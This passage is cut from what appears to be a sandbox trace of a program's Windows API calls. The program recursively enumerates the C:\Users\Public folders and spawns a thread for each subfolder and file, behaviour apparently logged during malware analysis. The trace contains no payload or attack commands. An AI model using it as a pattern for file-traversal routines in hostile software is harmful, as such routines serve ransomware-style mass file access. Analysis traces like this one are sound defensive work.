_Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0097.793] wcscat (in: _Dest=0x1cd9cc10, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0097.793] wcscat (in: _Dest=0x1cd9cc10, _Source="My Pictures" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0097.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9cc10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa0c [0097.794] FindNextFileW (in: hFindFile=0x1cd9ce50, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0097.794] wcscmp (_String1="My Videos", _String2=".") returned 1 [0097.794] wcscmp (_String1="My Videos", _String2="..") returned 1 [0097.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82c5d0 [0097.794] wcscpy (in: _Dest=0x1b82c5d0, _Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0097.794] wcscat (in: _Dest=0x1b82c5d0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0097.794] wcscat (in: _Dest=0x1b82c5d0, _Source="My Videos" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0097.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c5d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb5c [0097.795] FindNextFileW (in: hFindFile=0x1cd9ce50, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0097.795] FindClose (in: hFindFile=0x1cd9ce50 | out: hFindFile=0x1cd9ce50) returned 1 [0097.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20b70) returned 1 [0097.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8100) returned 1 [0097.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8500) returned 1 Thread: id = 310 os_tid = 0xe08 [0088.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d84c0 [0088.055] wcscpy (in: _Dest=0x1b7d84c0, _Source="C:\\Users\\Public\\Downloads" | out: _Dest="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0088.055] wcscat (in: _Dest=0x1b7d84c0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Downloads\\") returned="C:\\Users\\Public\\Downloads\\" [0088.055] wcscat (in: _Dest=0x1b7d84c0, _Source="*" | out: _Dest="C:\\Users\\Public\\Downloads\\*") returned="C:\\Users\\Public\\Downloads\\*" [0088.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20de0 [0088.055] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*", lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ceb0 [0088.055] wcscmp (_String1=".", _String2=".") returned 0 [0088.055] FindNextFileW (in: hFindFile=0x1cd9ceb0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.055] wcscmp (_String1="..", _String2=".") returned 1 [0088.055] wcscmp (_String1="..", _String2="..") returned 0 [0088.055] FindNextFileW (in: hFindFile=0x1cd9ceb0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.055] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0088.056] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0088.056] FindNextFileW (in: hFindFile=0x1cd9ceb0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0088.056] FindClose (in: hFindFile=0x1cd9ceb0 | out: hFindFile=0x1cd9ceb0) returned 1 [0088.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20de0) returned 1 [0088.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d84c0) returned 1 [0088.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8540) returned 1 Thread: id = 311 os_tid = 0xe0c [0088.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d8540 [0088.058] wcscpy (in: _Dest=0x1b7d8540, _Source="C:\\Users\\Public\\Favorites" | out: _Dest="C:\\Users\\Public\\Favorites") returned="C:\\Users\\Public\\Favorites" [0088.058] wcscat (in: _Dest=0x1b7d8540, _Source="\\" | out: _Dest="C:\\Users\\Public\\Favorites\\") returned="C:\\Users\\Public\\Favorites\\" [0088.058] wcscat (in: _Dest=0x1b7d8540, _Source="*" | out: _Dest="C:\\Users\\Public\\Favorites\\*") returned="C:\\Users\\Public\\Favorites\\*" [0088.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20de0 [0088.058] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Favorites\\*", lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ceb0 [0088.058] wcscmp (_String1=".", _String2=".") returned 0 [0088.058] FindNextFileW (in: hFindFile=0x1cd9ceb0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.058] wcscmp (_String1="..", _String2=".") returned 1 [0088.058] wcscmp (_String1="..", _String2="..") returned 0 [0088.058] FindNextFileW (in: hFindFile=0x1cd9ceb0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.058] FindClose (in: hFindFile=0x1cd9ceb0 | out: hFindFile=0x1cd9ceb0) returned 1 [0088.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20de0) returned 1 [0088.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8540) returned 1 [0088.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8580) returned 1 Thread: id = 312 os_tid = 0xe10 [0088.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d8580 [0088.124] wcscpy (in: _Dest=0x1b7d8580, _Source="C:\\Users\\Public\\Libraries" | out: _Dest="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0088.125] wcscat (in: _Dest=0x1b7d8580, _Source="\\" | out: _Dest="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0088.125] wcscat (in: _Dest=0x1b7d8580, _Source="*" | out: _Dest="C:\\Users\\Public\\Libraries\\*") returned="C:\\Users\\Public\\Libraries\\*" [0088.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20de0 [0088.125] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*", lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ceb0 [0088.125] wcscmp (_String1=".", _String2=".") returned 0 [0088.125] FindNextFileW (in: hFindFile=0x1cd9ceb0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.125] wcscmp (_String1="..", _String2=".") returned 1 [0088.125] wcscmp (_String1="..", _String2="..") returned 0 [0088.125] FindNextFileW (in: hFindFile=0x1cd9ceb0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2839e1d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2839e1d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288f9359, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x58, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.125] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0088.125] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0088.125] FindNextFileW (in: hFindFile=0x1cd9ceb0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1 [0088.125] wcscmp (_String1="RecordedTV.library-ms", _String2=".") returned 1 [0088.126] wcscmp (_String1="RecordedTV.library-ms", _String2="..") returned 1 [0088.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1fe0 [0088.126] wcscpy (in: _Dest=0x1b7c1fe0, _Source="C:\\Users\\Public\\Libraries" | out: _Dest="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0088.126] wcscat (in: _Dest=0x1b7c1fe0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0088.126] wcscat (in: _Dest=0x1b7c1fe0, _Source="RecordedTV.library-ms" | out: _Dest="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" [0097.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c1fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa10 [0097.335] FindNextFileW (in: hFindFile=0x1cd9ceb0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 0 [0097.335] FindClose (in: hFindFile=0x1cd9ceb0 | out: hFindFile=0x1cd9ceb0) returned 1 [0097.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20de0) returned 1 [0097.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8580) returned 1 [0097.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d85c0) returned 1 Thread: id = 313 os_tid = 0xe14 [0088.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7d8540 [0088.131] wcscpy (in: _Dest=0x1b7d8540, _Source="C:\\Users\\Public\\Music" | out: _Dest="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0088.131] wcscat (in: _Dest=0x1b7d8540, _Source="\\" | out: _Dest="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\" [0088.131] wcscat (in: _Dest=0x1b7d8540, _Source="*" | out: _Dest="C:\\Users\\Public\\Music\\*") returned="C:\\Users\\Public\\Music\\*" [0088.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce21050 [0088.131] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*", lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cf10 [0088.131] wcscmp (_String1=".", _String2=".") returned 0 [0088.131] FindNextFileW (in: hFindFile=0x1cd9cf10, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.131] wcscmp (_String1="..", _String2=".") returned 1 [0088.132] wcscmp (_String1="..", _String2="..") returned 0 [0088.132] FindNextFileW (in: hFindFile=0x1cd9cf10, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.132] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0088.132] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0088.132] FindNextFileW (in: hFindFile=0x1cd9cf10, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1 [0088.132] wcscmp (_String1="Sample Music", _String2=".") returned 1 [0088.132] wcscmp (_String1="Sample Music", _String2="..") returned 1 [0088.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1b82c5d0 [0088.132] wcscpy (in: _Dest=0x1b82c5d0, _Source="C:\\Users\\Public\\Music" | out: _Dest="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0088.132] wcscat (in: _Dest=0x1b82c5d0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\" [0088.132] wcscat (in: _Dest=0x1b82c5d0, _Source="Sample Music" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music") returned="C:\\Users\\Public\\Music\\Sample Music" [0090.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c5d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa0c [0090.873] FindNextFileW (in: hFindFile=0x1cd9cf10, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0 [0090.873] FindClose (in: hFindFile=0x1cd9cf10 | out: hFindFile=0x1cd9cf10) returned 1 [0090.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21050) returned 1 [0090.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8540) returned 1 [0090.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8600) returned 1 Thread: id = 314 os_tid = 0xe18 [0088.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d8400 [0088.133] wcscpy (in: _Dest=0x1b7d8400, _Source="C:\\Users\\Public\\Pictures" | out: _Dest="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0088.133] wcscat (in: _Dest=0x1b7d8400, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\" [0088.133] wcscat (in: _Dest=0x1b7d8400, _Source="*" | out: _Dest="C:\\Users\\Public\\Pictures\\*") returned="C:\\Users\\Public\\Pictures\\*" [0088.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce212c0 [0088.133] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*", lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cf70 [0088.133] wcscmp (_String1=".", _String2=".") returned 0 [0088.134] FindNextFileW (in: hFindFile=0x1cd9cf70, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.134] wcscmp (_String1="..", _String2=".") returned 1 [0088.134] wcscmp (_String1="..", _String2="..") returned 0 [0088.134] FindNextFileW (in: hFindFile=0x1cd9cf70, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.134] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0088.134] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0088.134] FindNextFileW (in: hFindFile=0x1cd9cf70, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1 [0088.134] wcscmp (_String1="Sample Pictures", _String2=".") returned 1 [0088.134] wcscmp (_String1="Sample Pictures", _String2="..") returned 1 [0088.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9cfd0 [0088.134] wcscpy (in: _Dest=0x1cd9cfd0, _Source="C:\\Users\\Public\\Pictures" | out: _Dest="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0088.134] wcscat (in: _Dest=0x1cd9cfd0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\" [0088.134] wcscat (in: _Dest=0x1cd9cfd0, _Source="Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0090.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9cfd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa1c [0090.875] FindNextFileW (in: hFindFile=0x1cd9cf70, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0 [0090.875] FindClose (in: hFindFile=0x1cd9cf70 | out: hFindFile=0x1cd9cf70) returned 1 [0090.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce212c0) returned 1 [0090.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8400) returned 1 [0090.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8640) returned 1 Thread: id = 315 os_tid = 0xe1c [0088.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82c580 [0088.136] wcscpy (in: _Dest=0x1b82c580, _Source="C:\\Users\\Public\\Recorded TV" | out: _Dest="C:\\Users\\Public\\Recorded TV") returned="C:\\Users\\Public\\Recorded TV" [0088.136] wcscat (in: _Dest=0x1b82c580, _Source="\\" | out: _Dest="C:\\Users\\Public\\Recorded TV\\") returned="C:\\Users\\Public\\Recorded TV\\" [0088.136] wcscat (in: _Dest=0x1b82c580, _Source="*" | out: _Dest="C:\\Users\\Public\\Recorded TV\\*") returned="C:\\Users\\Public\\Recorded TV\\*" [0088.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce21530 [0088.136] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\*", lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 